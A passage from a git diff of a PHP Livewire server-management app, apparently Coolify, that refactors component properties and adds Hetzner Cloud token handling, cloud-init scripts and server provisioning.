($this->limitsCpuset === '') { + $this->limitsCpuset = null; } - if (is_null($this->resource->limits_cpu_shares)) { - $this->resource->limits_cpu_shares = 1024; + if (is_null($this->limitsCpuShares)) { + $this->limitsCpuShares = 1024; } + $this->validate(); + + $this->syncData(true); $this->resource->save(); $this->dispatch('success', 'Resource limits updated.'); } catch (\Throwable $e) { diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 4f57cbfa6..5970ec904 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -25,20 +25,48 @@ class Show extends Component public ?string $startedAt = null; + // Explicit properties + public string $name; + + public string $mountPath; + + public ?string $hostPath = null; + protected $rules = [ - 'storage.name' => 'required|string', - 'storage.mount_path' => 'required|string', - 'storage.host_path' => 'string|nullable', + 'name' => 'required|string', + 'mountPath' => 'required|string', + 'hostPath' => 'string|nullable', ]; protected $validationAttributes = [ 'name' => 'name', - 'mount_path' => 'mount', - 'host_path' => 'host', + 'mountPath' => 'mount', + 'hostPath' => 'host', ]; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->storage->name = $this->name; + $this->storage->mount_path = $this->mountPath; + $this->storage->host_path = $this->hostPath; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->storage->name; + $this->mountPath = $this->storage->mount_path; + $this->hostPath = $this->storage->host_path; + } + } + public function mount() { + $this->syncData(false); $this->isReadOnly = $this->storage->isReadOnlyVolume(); } @@ -47,6 +75,7 @@ public function submit() $this->authorize('update', $this->resource); $this->validate(); + $this->syncData(true); $this->storage->save(); $this->dispatch('success', 'Storage updated successfully'); } diff --git a/app/Livewire/Security/CloudInitScriptForm.php b/app/Livewire/Security/CloudInitScriptForm.php new file mode 100644 index 000000000..33beff334 --- /dev/null +++ b/app/Livewire/Security/CloudInitScriptForm.php @@ -0,0 +1,101 @@ +scriptId = $scriptId; + $cloudInitScript = CloudInitScript::ownedByCurrentTeam()->findOrFail($scriptId); + $this->authorize('update', $cloudInitScript); + + $this->name = $cloudInitScript->name; + $this->script = $cloudInitScript->script; + } else { + $this->authorize('create', CloudInitScript::class); + } + } + + protected function rules(): array + { + return [ + 'name' => 'required|string|max:255', + 'script' => ['required', 'string', new \App\Rules\ValidCloudInitYaml], + ]; + } + + protected function messages(): array + { + return [ + 'name.required' => 'Script name is required.', + 'name.max' => 'Script name cannot exceed 255 characters.', + 'script.required' => 'Cloud-init script content is required.', + ]; + } + + public function save() + { + $this->validate(); + + try { + if ($this->scriptId) { + // Update existing script + $cloudInitScript = CloudInitScript::ownedByCurrentTeam()->findOrFail($this->scriptId); + $this->authorize('update', $cloudInitScript); + + $cloudInitScript->update([ + 'name' => $this->name, + 'script' => $this->script, + ]); + + $message = 'Cloud-init script updated successfully.'; + } else { + // Create new script + $this->authorize('create', CloudInitScript::class); + + CloudInitScript::create([ + 'team_id' => currentTeam()->id, + 'name' => $this->name, + 'script' => $this->script, + ]); + + $message = 'Cloud-init script created successfully.'; + } + + // Only reset fields if creating (not editing) + if (! $this->scriptId) { + $this->reset(['name', 'script']); + } + + $this->dispatch('scriptSaved'); + $this->dispatch('success', $message); + + if ($this->modal_mode) { + $this->dispatch('closeModal'); + } + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.security.cloud-init-script-form'); + } +} diff --git a/app/Livewire/Security/CloudInitScripts.php b/app/Livewire/Security/CloudInitScripts.php new file mode 100644 index 000000000..13bcf2caa --- /dev/null +++ b/app/Livewire/Security/CloudInitScripts.php @@ -0,0 +1,52 @@ +authorize('viewAny', CloudInitScript::class); + $this->loadScripts(); + } + + public function getListeners() + { + return [ + 'scriptSaved' => 'loadScripts', + ]; + } + + public function loadScripts() + { + $this->scripts = CloudInitScript::ownedByCurrentTeam()->orderBy('created_at', 'desc')->get(); + } + + public function deleteScript(int $scriptId) + { + try { + $script = CloudInitScript::ownedByCurrentTeam()->findOrFail($scriptId); + $this->authorize('delete', $script); + + $script->delete(); + $this->loadScripts(); + + $this->dispatch('success', 'Cloud-init script deleted successfully.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.security.cloud-init-scripts'); + } +} diff --git a/app/Livewire/Security/CloudProviderTokenForm.php b/app/Livewire/Security/CloudProviderTokenForm.php new file mode 100644 index 000000000..7affb1531 --- /dev/null +++ b/app/Livewire/Security/CloudProviderTokenForm.php @@ -0,0 +1,99 @@ +authorize('create', CloudProviderToken::class); + } + + protected function rules(): array + { + return [ + 'provider' => 'required|string|in:hetzner,digitalocean', + 'token' => 'required|string', + 'name' => 'required|string|max:255', + ]; + } + + protected function messages(): array + { + return [ + 'provider.required' => 'Please select a cloud provider.', + 'provider.in' => 'Invalid cloud provider selected.', + 'token.required' => 'API token is required.', + 'name.required' => 'Token name is required.', + ]; + } + + private function validateToken(string $provider, string $token): bool + { + try { + if ($provider === 'hetzner') { + $response = Http::withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->timeout(10)->get('https://api.hetzner.cloud/v1/servers'); + ray($response); + + return $response->successful(); + } + + // Add other providers here in the future + // if ($provider === 'digitalocean') { ... } + + return false; + } catch (\Throwable $e) { + return false; + } + } + + public function addToken() + { + $this->validate(); + + try { + // Validate the token with the provider's API + if (! $this->validateToken($this->provider, $this->token)) { + return $this->dispatch('error', 'Invalid API token. Please check your token and try again.'); + } + + $savedToken = CloudProviderToken::create([ + 'team_id' => currentTeam()->id, + 'provider' => $this->provider, + 'token' => $this->token, + 'name' => $this->name, + ]); + + $this->reset(['token', 'name']); + + // Dispatch event with token ID so parent components can react + $this->dispatch('tokenAdded', tokenId: $savedToken->id); + + $this->dispatch('success', 'Cloud provider token added successfully.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.security.cloud-provider-token-form'); + } +} diff --git a/app/Livewire/Security/CloudProviderTokens.php b/app/Livewire/Security/CloudProviderTokens.php new file mode 100644 index 000000000..f05b3c0ca --- /dev/null +++ b/app/Livewire/Security/CloudProviderTokens.php @@ -0,0 +1,60 @@ +authorize('viewAny', CloudProviderToken::class); + $this->loadTokens(); + } + + public function getListeners() + { + return [ + 'tokenAdded' => 'loadTokens', + ]; + } + + public function loadTokens() + { + $this->tokens = CloudProviderToken::ownedByCurrentTeam()->get(); + } + + public function deleteToken(int $tokenId) + { + try { + $token = CloudProviderToken::ownedByCurrentTeam()->findOrFail($tokenId); + $this->authorize('delete', $token); + + // Check if any servers are using this token + if ($token->hasServers()) { + $serverCount = $token->servers()->count(); + $this->dispatch('error', "Cannot delete this token. It is currently used by {$serverCount} server(s). Please reassign those servers to a different token first."); + + return; + } + + $token->delete(); + $this->loadTokens(); + + $this->dispatch('success', 'Cloud provider token deleted successfully.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.security.cloud-provider-tokens'); + } +} diff --git a/app/Livewire/Security/CloudTokens.php b/app/Livewire/Security/CloudTokens.php new file mode 100644 index 000000000..d6d1333f1 --- /dev/null +++ b/app/Livewire/Security/CloudTokens.php @@ -0,0 +1,13 @@ + currentTeam()->id, ]); + // If in modal mode, dispatch event and don't redirect + if ($this->modal_mode) { + $this->dispatch('privateKeyCreated', keyId: $privateKey->id); + $this->dispatch('success', 'Private key created successfully.'); + + return; + } + return $this->redirectAfterCreation($privateKey); } catch (\Throwable $e) { return handleError($e, $this); diff --git a/app/Livewire/Security/PrivateKey/Index.php b/app/Livewire/Security/PrivateKey/Index.php index 950ec152d..1eb66ae3e 100644 --- a/app/Livewire/Security/PrivateKey/Index.php +++ b/app/Livewire/Security/PrivateKey/Index.php @@ -12,7 +12,7 @@ class Index extends Component public function render() { - $privateKeys = PrivateKey::ownedByCurrentTeam(['name', 'uuid', 'is_git_related', 'description'])->get(); + $privateKeys = PrivateKey::ownedByCurrentTeam(['name', 'uuid', 'is_git_related', 'description', 'team_id'])->get(); return view('livewire.security.private-key.index', [ 'privateKeys' => $privateKeys, diff --git a/app/Livewire/Security/PrivateKey/Show.php b/app/Livewire/Security/PrivateKey/Show.php index 2ff06c349..c292d14a3 100644 --- a/app/Livewire/Security/PrivateKey/Show.php +++ b/app/Livewire/Security/PrivateKey/Show.php @@ -13,15 +13,24 @@ class Show extends Component public PrivateKey $private_key; + // Explicit properties + public string $name; + + public ?string $description = null; + + public string $privateKeyValue; + + public bool $isGitRelated = false; + public $public_key = 'Loading...'; protected function rules(): array { return [ - 'private_key.name' => ValidationPatterns::nameRules(), - 'private_key.description' => ValidationPatterns::descriptionRules(), - 'private_key.private_key' => 'required|string', - 'private_key.is_git_related' => 'nullable|boolean', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'privateKeyValue' => 'required|string', + 'isGitRelated' => 'nullable|boolean', ]; } @@ -30,25 +39,54 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'private_key.name.required' => 'The Name field is required.', - 'private_key.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'private_key.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'private_key.private_key.required' => 'The Private Key field is required.', - 'private_key.private_key.string' => 'The Private Key must be a valid string.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'privateKeyValue.required' => 'The Private Key field is required.', + 'privateKeyValue.string' => 'The Private Key must be a valid string.', ] ); } protected $validationAttributes = [ - 'private_key.name' => 'name', - 'private_key.description' => 'description', - 'private_key.private_key' => 'private key', + 'name' => 'name', + 'description' => 'description', + 'privateKeyValue' => 'private key', ]; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->private_key->name = $this->name; + $this->private_key->description = $this->description; + $this->private_key->private_key = $this->privateKeyValue; + $this->private_key->is_git_related = $this->isGitRelated; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->private_key->name; + $this->description = $this->private_key->description; + $this->privateKeyValue = $this->private_key->private_key; + $this->isGitRelated = $this->private_key->is_git_related; + } + } + public function mount() { try { - $this->private_key = PrivateKey::ownedByCurrentTeam(['name', 'description', 'private_key', 'is_git_related'])->whereUuid(request()->private_key_uuid)->firstOrFail(); + $this->private_key = PrivateKey::ownedByCurrentTeam(['name', 'description', 'private_key', 'is_git_related', 'team_id'])->whereUuid(request()->private_key_uuid)->firstOrFail(); + + // Explicit authorization check - will throw 403 if not authorized + $this->authorize('view', $this->private_key); + + $this->syncData(false); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + abort(403, 'You do not have permission to view this private key.'); } catch (\Throwable) { abort(404); } @@ -81,6 +119,10 @@ public function changePrivateKey() { try { $this->authorize('update', $this->private_key); + + $this->validate(); + + $this->syncData(true); $this->private_key->updatePrivateKey([ 'private_key' => formatPrivateKey($this->private_key->private_key), ]); diff --git a/app/Livewire/Server/CaCertificate/Show.php b/app/Livewire/Server/CaCertificate/Show.php index 039b5f71d..c929d9b3d 100644 --- a/app/Livewire/Server/CaCertificate/Show.php +++ b/app/Livewire/Server/CaCertificate/Show.php @@ -39,7 +39,7 @@ public function mount(string $server_uuid) public function loadCaCertificate() { - $this->caCertificate = SslCertificate::where('server_id', $this->server->id)->where('is_ca_certificate', true)->first(); + $this->caCertificate = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); if ($this->caCertificate) { $this->certificateContent = $this->caCertificate->ssl_certificate; diff --git a/app/Livewire/Server/CloudProviderToken/Show.php b/app/Livewire/Server/CloudProviderToken/Show.php new file mode 100644 index 000000000..6b22fddc6 --- /dev/null +++ b/app/Livewire/Server/CloudProviderToken/Show.php @@ -0,0 +1,144 @@ +server = Server::ownedByCurrentTeam()->whereUuid($server_uuid)->firstOrFail(); + $this->loadTokens(); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function getListeners() + { + return [ + 'tokenAdded' => 'handleTokenAdded', + ]; + } + + public function loadTokens() + { + $this->cloudProviderTokens = CloudProviderToken::ownedByCurrentTeam() + ->where('provider', 'hetzner') + ->get(); + } + + public function handleTokenAdded($tokenId) + { + $this->loadTokens(); + } + + public function setCloudProviderToken($tokenId) + { + $ownedToken = CloudProviderToken::ownedByCurrentTeam()->find($tokenId); + if (is_null($ownedToken)) { + $this->dispatch('error', 'You are not allowed to use this token.'); + + return; + } + try { + $this->authorize('update', $this->server); + + // Validate the token works and can access this specific server + $validationResult = $this->validateTokenForServer($ownedToken); + if (! $validationResult['valid']) { + $this->dispatch('error', $validationResult['error']); + + return; + } + + $this->server->cloudProviderToken()->associate($ownedToken); + $this->server->save(); + $this->dispatch('success', 'Hetzner token updated successfully.'); + $this->dispatch('refreshServerShow'); + } catch (\Exception $e) { + $this->server->refresh(); + $this->dispatch('error', $e->getMessage()); + } + } + + private function validateTokenForServer(CloudProviderToken $token): array + { + try { + // First, validate the token itself + $response = \Illuminate\Support\Facades\Http::withHeaders([ + 'Authorization' => 'Bearer '.$token->token, + ])->timeout(10)->get('https://api.hetzner.cloud/v1/servers'); + + if (! $response->successful()) { + return [ + 'valid' => false, + 'error' => 'This token is invalid or has insufficient permissions.', + ]; + } + + // Check if this token can access the specific Hetzner server + if ($this->server->hetzner_server_id) { + $serverResponse = \Illuminate\Support\Facades\Http::withHeaders([ + 'Authorization' => 'Bearer '.$token->token, + ])->timeout(10)->get("https://api.hetzner.cloud/v1/servers/{$this->server->hetzner_server_id}"); + + if (! $serverResponse->successful()) { + return [ + 'valid' => false, + 'error' => 'This token cannot access this server. It may belong to a different Hetzner project.', + ]; + } + } + + return ['valid' => true]; + } catch (\Throwable $e) { + return [ + 'valid' => false, + 'error' => 'Failed to validate token: '.$e->getMessage(), + ]; + } + } + + public function validateToken() + { + try { + $token = $this->server->cloudProviderToken; + if (! $token) { + $this->dispatch('error', 'No Hetzner token is associated with this server.'); + + return; + } + + $response = \Illuminate\Support\Facades\Http::withHeaders([ + 'Authorization' => 'Bearer '.$token->token, + ])->timeout(10)->get('https://api.hetzner.cloud/v1/servers'); + + if ($response->successful()) { + $this->dispatch('success', 'Hetzner token is valid and working.'); + } else { + $this->dispatch('error', 'Hetzner token is invalid or has insufficient permissions.'); + } + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.server.cloud-provider-token.show'); + } +} diff --git a/app/Livewire/Server/Create.php b/app/Livewire/Server/Create.php index 2d4ba4430..cf77664fe 100644 --- a/app/Livewire/Server/Create.php +++ b/app/Livewire/Server/Create.php @@ -2,6 +2,7 @@ namespace App\Livewire\Server; +use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Team; use Livewire\Component; @@ -12,6 +13,8 @@ class Create extends Component public bool $limit_reached = false; + public bool $has_hetzner_tokens = false; + public function mount() { $this->private_keys = PrivateKey::ownedByCurrentTeam()->get(); @@ -21,6 +24,11 @@ public function mount() return; } $this->limit_reached = Team::serverLimitReached(); + + // Check if user has Hetzner tokens + $this->has_hetzner_tokens = CloudProviderToken::ownedByCurrentTeam() + ->where('provider', 'hetzner') + ->exists(); } public function render() diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index b9e3944b5..8c2c54c99 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -16,6 +16,8 @@ class Delete extends Component public Server $server; + public bool $delete_from_hetzner = false; + public function mount(string $server_uuid) { try { @@ -41,8 +43,15 @@ public function delete($password) return; } + $this->server->delete(); - DeleteServer::dispatch($this->server); + DeleteServer::dispatch( + $this->server->id, + $this->delete_from_hetzner, + $this->server->hetzner_server_id, + $this->server->cloud_provider_token_id, + $this->server->team_id + ); return redirect()->route('server.index'); } catch (\Throwable $e) { @@ -52,6 +61,18 @@ public function delete($password) public function render() { - return view('livewire.server.delete'); + $checkboxes = []; + + if ($this->server->hetzner_server_id) { + $checkboxes[] = [ + 'id' => 'delete_from_hetzner', + 'label' => 'Also delete server from Hetzner Cloud', + 'default_warning' => 'The actual server on Hetzner Cloud will NOT be deleted.', + ]; + } + + return view('livewire.server.delete', [ + 'checkboxes' => $checkboxes, + ]); } } diff --git a/app/Livewire/Server/Navbar.php b/app/Livewire/Server/Navbar.php index beefed12a..6baa54672 100644 --- a/app/Livewire/Server/Navbar.php +++ b/app/Livewire/Server/Navbar.php @@ -118,17 +118,31 @@ public function checkProxyStatus() public function showNotification() { + $this->server->refresh(); $this->proxyStatus = $this->server->proxy->status ?? 'unknown'; - $forceStop = $this->server->proxy->force_stop ?? false; switch ($this->proxyStatus) { case 'running': $this->loadProxyConfiguration(); + $this->dispatch('success', 'Proxy is running.'); break; case 'restarting': $this->dispatch('info', 'Initiating proxy restart.'); break; + case 'exited': + $this->dispatch('info', 'Proxy has exited.'); + break; + case 'stopping': + $this->dispatch('info', 'Proxy is stopping.'); + break; + case 'starting': + $this->dispatch('info', 'Proxy is starting.'); + break; + case 'unknown': + $this->dispatch('info', 'Proxy status is unknown.'); + break; default: + $this->dispatch('info', 'Proxy status updated.'); break; } diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php new file mode 100644 index 000000000..ca5c588f8 --- /dev/null +++ b/app/Livewire/Server/New/ByHetzner.php @@ -0,0 +1,587 @@ +authorize('viewAny', CloudProviderToken::class); + $this->loadTokens(); + $this->loadSavedCloudInitScripts(); + $this->server_name = generate_random_name(); + if ($this->private_keys->count() > 0) { + $this->private_key_id = $this->private_keys->first()->id; + } + } + + public function loadSavedCloudInitScripts() + { + $this->saved_cloud_init_scripts = CloudInitScript::ownedByCurrentTeam()->get(); + } + + public function getListeners() + { + return [ + 'tokenAdded' => 'handleTokenAdded', + 'privateKeyCreated' => 'handlePrivateKeyCreated', + 'modalClosed' => 'resetSelection', + ]; + } + + public function resetSelection() + { + $this->selected_token_id = null; + $this->current_step = 1; + $this->cloud_init_script = null; + $this->save_cloud_init_script = false; + $this->cloud_init_script_name = null; + $this->selected_cloud_init_script_id = null; + } + + public function loadTokens() + { + $this->available_tokens = CloudProviderToken::ownedByCurrentTeam() + ->where('provider', 'hetzner') + ->get(); + } + + public function handleTokenAdded($tokenId) + { + // Refresh token list + $this->loadTokens(); + + // Auto-select the new token + $this->selected_token_id = $tokenId; + + // Automatically proceed to next step + $this->nextStep(); + } + + public function handlePrivateKeyCreated($keyId) + { + // Refresh private keys list + $this->private_keys = PrivateKey::ownedByCurrentTeam()->get(); + + // Auto-select the new key + $this->private_key_id = $keyId; + + // Clear validation errors for private_key_id + $this->resetErrorBag('private_key_id'); + } + + protected function rules(): array + { + $rules = [ + 'selected_token_id' => 'required|integer|exists:cloud_provider_tokens,id', + ]; + + if ($this->current_step === 2) { + $rules = array_merge($rules, [ + 'server_name' => ['required', 'string', 'max:253', new ValidHostname], + 'selected_location' => 'required|string', + 'selected_image' => 'required|integer', + 'selected_server_type' => 'required|string', + 'private_key_id' => 'required|integer|exists:private_keys,id,team_id,'.currentTeam()->id, + 'selectedHetznerSshKeyIds' => 'nullable|array', + 'selectedHetznerSshKeyIds.*' => 'integer', + 'enable_ipv4' => 'required|boolean', + 'enable_ipv6' => 'required|boolean', + 'cloud_init_script' => ['nullable', 'string', new \App\Rules\ValidCloudInitYaml], + 'save_cloud_init_script' => 'boolean', + 'cloud_init_script_name' => 'nullable|string|max:255', + 'selected_cloud_init_script_id' => 'nullable|integer|exists:cloud_init_scripts,id', + ]); + } + + return $rules; + } + + protected function messages(): array + { + return [ + 'selected_token_id.required' => 'Please select a Hetzner token.', + 'selected_token_id.exists' => 'Selected token not found.', + ]; + } + + public function selectToken(int $tokenId) + { + $this->selected_token_id = $tokenId; + } + + private function validateHetznerToken(string $token): bool + { + try { + $response = Http::withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->timeout(10)->get('https://api.hetzner.cloud/v1/servers'); + + return $response->successful(); + } catch (\Throwable $e) { + return false; + } + } + + private function getHetznerToken(): string + { + if ($this->selected_token_id) { + $token = $this->available_tokens->firstWhere('id', $this->selected_token_id); + + return $token ? $token->token : ''; + } + + return ''; + } + + public function nextStep() + { + // Validate step 1 - just need a token selected + $this->validate([ + 'selected_token_id' => 'required|integer|exists:cloud_provider_tokens,id', + ]); + + try { + $hetznerToken = $this->getHetznerToken(); + + if (! $hetznerToken) { + return $this->dispatch('error', 'Please select a valid Hetzner token.'); + } + + // Load Hetzner data + $this->loadHetznerData($hetznerToken); + + // Move to step 2 + $this->current_step = 2; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function previousStep() + { + $this->current_step = 1; + } + + private function loadHetznerData(string $token) + { + $this->loading_data = true; + + try { + $hetznerService = new HetznerService($token); + + $this->locations = $hetznerService->getLocations(); + $this->serverTypes = $hetznerService->getServerTypes(); + + // Get images and sort by name + $images = $hetznerService->getImages(); + + ray('Raw images from Hetzner API', [ + 'total_count' => count($images), + 'types' => collect($images)->pluck('type')->unique()->values(), + 'sample' => array_slice($images, 0, 3), + ]); + + $this->images = collect($images) + ->filter(function ($image) { + // Only system images + if (! isset($image['type']) || $image['type'] !== 'system') { + return false; + } + + // Filter out deprecated images + if (isset($image['deprecated']) && $image['deprecated'] === true) { + return false; + } + + return true; + }) + ->sortBy('name') + ->values() + ->toArray(); + + ray('Filtered images', [ + 'filtered_count' => count($this->images), + 'debian_images' => collect($this->images)->filter(fn ($img) => str_contains($img['name'] ?? '', 'debian'))->values(), + ]); + + // Load SSH keys from Hetzner + $this->hetznerSshKeys = $hetznerService->getSshKeys(); + + ray('Hetzner SSH Keys', [ + 'total_count' => count($this->hetznerSshKeys), + 'keys' => $this->hetznerSshKeys, + ]); + + $this->loading_data = false; + } catch (\Throwable $e) { + $this->loading_data = false; + throw $e; + } + } + + private function getCpuVendorInfo(array $serverType): ?string + { + $name = strtolower($serverType['name'] ?? ''); + + if (str_starts_with($name, 'ccx')) { + return 'AMD Milan EPYC™'; + } elseif (str_starts_with($name, 'cpx')) { + return 'AMD EPYC™'; + } elseif (str_starts_with($name, 'cx')) { + return 'Intel® Xeon®'; + } elseif (str_starts_with($name, 'cax')) { + return 'Ampere® Altra®'; + } + + return null; + } + + public function getAvailableServerTypesProperty() + { + ray('Getting available server types', [ + 'selected_location' => $this->selected_location, + 'total_server_types' => count($this->serverTypes), + ]); + + if (! $this->selected_location) { + return $this->serverTypes; + } + + $filtered = collect($this->serverTypes) + ->filter(function ($type) { + if (! isset($type['locations'])) { + return false; + } + + $locationNames = collect($type['locations'])->pluck('name')->toArray(); + + return in_array($this->selected_location, $locationNames); + }) + ->map(function ($serverType) { + $serverType['cpu_vendor_info'] = $this->getCpuVendorInfo($serverType); + + return $serverType; + }) + ->values() + ->toArray(); + + ray('Filtered server types', [ + 'selected_location' => $this->selected_location, + 'filtered_count' => count($filtered), + ]); + + return $filtered; + } + + public function getAvailableImagesProperty() + { + ray('Getting available images', [ + 'selected_server_type' => $this->selected_server_type, + 'total_images' => count($this->images), + 'images' => $this->images, + ]); + + if (! $this->selected_server_type) { + return $this->images; + } + + $serverType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type); + + ray('Server type data', $serverType); + + if (! $serverType || ! isset($serverType['architecture'])) { + ray('No architecture in server type, returning all'); + + return $this->images; + } + + $architecture = $serverType['architecture']; + + $filtered = collect($this->images) + ->filter(fn ($image) => ($image['architecture'] ?? null) === $architecture) + ->values() + ->toArray(); + + ray('Filtered images', [ + 'architecture' => $architecture, + 'filtered_count' => count($filtered), + ]); + + return $filtered; + } + + public function getSelectedServerPriceProperty(): ?string + { + if (! $this->selected_server_type) { + return null; + } + + $serverType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type); + + if (! $serverType || ! isset($serverType['prices'][0]['price_monthly']['gross'])) { + return null; + } + + $price = $serverType['prices'][0]['price_monthly']['gross']; + + return '€'.number_format($price, 2); + } + + public function updatedSelectedLocation($value) + { + ray('Location selected', $value); + + // Reset server type and image when location changes + $this->selected_server_type = null; + $this->selected_image = null; + } + + public function updatedSelectedServerType($value) + { + ray('Server type selected', $value); + + // Reset image when server type changes + $this->selected_image = null; + } + + public function updatedSelectedImage($value) + { + ray('Image selected', $value); + } + + public function updatedSelectedCloudInitScriptId($value) + { + if ($value) { + $script = CloudInitScript::ownedByCurrentTeam()->findOrFail($value); + $this->cloud_init_script = $script->script; + $this->cloud_init_script_name = $script->name; + } + } + + public function clearCloudInitScript() + { + $this->selected_cloud_init_script_id = null; + $this->cloud_init_script = ''; + $this->cloud_init_script_name = ''; + $this->save_cloud_init_script = false; + } + + private function createHetznerServer(string $token): array + { + $hetznerService = new HetznerService($token); + + // Get the private key and extract public key + $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id); + + $publicKey = $privateKey->getPublicKey(); + $md5Fingerprint = PrivateKey::generateMd5Fingerprint($privateKey->private_key); + + ray('Private Key Info', [ + 'private_key_id' => $this->private_key_id, + 'sha256_fingerprint' => $privateKey->fingerprint, + 'md5_fingerprint' => $md5Fingerprint, + ]); + + // Check if SSH key already exists on Hetzner by comparing MD5 fingerprints + $existingSshKeys = $hetznerService->getSshKeys(); + $existingKey = null; + + ray('Existing SSH Keys on Hetzner', $existingSshKeys); + + foreach ($existingSshKeys as $key) { + if ($key['fingerprint'] === $md5Fingerprint) { + $existingKey = $key; + break; + } + } + + // Upload SSH key if it doesn't exist + if ($existingKey) { + $sshKeyId = $existingKey['id']; + ray('Using existing SSH key', ['ssh_key_id' => $sshKeyId]); + } else { + $sshKeyName = $privateKey->name; + $uploadedKey = $hetznerService->uploadSshKey($sshKeyName, $publicKey); + $sshKeyId = $uploadedKey['id']; + ray('Uploaded new SSH key', ['ssh_key_id' => $sshKeyId, 'name' => $sshKeyName]); + } + + // Normalize server name to lowercase for RFC 1123 compliance + $normalizedServerName = strtolower(trim($this->server_name)); + + // Prepare SSH keys array: Coolify key + user-selected Hetzner keys + $sshKeys = array_merge( + [$sshKeyId], // Coolify key (always included) + $this->selectedHetznerSshKeyIds // User-selected Hetzner keys + ); + + // Remove duplicates in case the Coolify key was also selected + $sshKeys = array_unique($sshKeys); + $sshKeys = array_values($sshKeys); // Re-index array + + // Prepare server creation parameters + $params = [ + 'name' => $normalizedServerName, + 'server_type' => $this->selected_server_type, + 'image' => $this->selected_image, + 'location' => $this->selected_location, + 'start_after_create' => true, + 'ssh_keys' => $sshKeys, + 'public_net' => [ + 'enable_ipv4' => $this->enable_ipv4, + 'enable_ipv6' => $this->enable_ipv6, + ], + ]; + + // Add cloud-init script if provided + if (! empty($this->cloud_init_script)) { + $params['user_data'] = $this->cloud_init_script; + } + + ray('Server creation parameters', $params); + + // Create server on Hetzner + $hetznerServer = $hetznerService->createServer($params); + + ray('Hetzner server created', $hetznerServer); + + return $hetznerServer; + } + + public function submit() + { + $this->validate(); + + try { + $this->authorize('create', Server::class); + + if (Team::serverLimitReached()) { + return $this->dispatch('error', 'You have reached the server limit for your subscription.'); + } + + // Save cloud-init script if requested + if ($this->save_cloud_init_script && ! empty($this->cloud_init_script) && ! empty($this->cloud_init_script_name)) { + $this->authorize('create', CloudInitScript::class); + + CloudInitScript::create([ + 'team_id' => currentTeam()->id, + 'name' => $this->cloud_init_script_name, + 'script' => $this->cloud_init_script, + ]); + } + + $hetznerToken = $this->getHetznerToken(); + + // Create server on Hetzner + $hetznerServer = $this->createHetznerServer($hetznerToken); + + // Determine IP address to use (prefer IPv4, fallback to IPv6) + $ipAddress = null; + if ($this->enable_ipv4 && isset($hetznerServer['public_net']['ipv4']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv4']['ip']; + } elseif ($this->enable_ipv6 && isset($hetznerServer['public_net']['ipv6']['ip'])) { + $ipAddress = $hetznerServer['public_net']['ipv6']['ip']; + } + + if (! $ipAddress) { + throw new \Exception('No public IP address available. Enable at least one of IPv4 or IPv6.'); + } + + // Create server in Coolify database + $server = Server::create([ + 'name' => $this->server_name, + 'ip' => $ipAddress, + 'user' => 'root', + 'port' => 22, + 'team_id' => currentTeam()->id, + 'private_key_id' => $this->private_key_id, + 'cloud_provider_token_id' => $this->selected_token_id, + 'hetzner_server_id' => $hetznerServer['id'], + ]); + + $server->proxy->set('status', 'exited'); + $server->proxy->set('type', ProxyTypes::TRAEFIK->value); + $server->save(); + + return redirect()->route('server.show', $server->uuid); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function render() + { + return view('livewire.server.new.by-hetzner'); + } +} diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index 5ef559862..bc7e9bde4 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -22,6 +22,8 @@ class Proxy extends Component public ?string $redirectUrl = null; + public bool $generateExactLabels = false; + public function getListeners() { $teamId = auth()->user()->currentTeam()->id; @@ -33,7 +35,7 @@ public function getListeners() } protected $rules = [ - 'server.settings.generate_exact_labels' => 'required|boolean', + 'generateExactLabels' => 'required|boolean', ]; public function mount() @@ -41,6 +43,16 @@ public function mount() $this->selectedProxy = $this->server->proxyType(); $this->redirectEnabled = data_get($this->server, 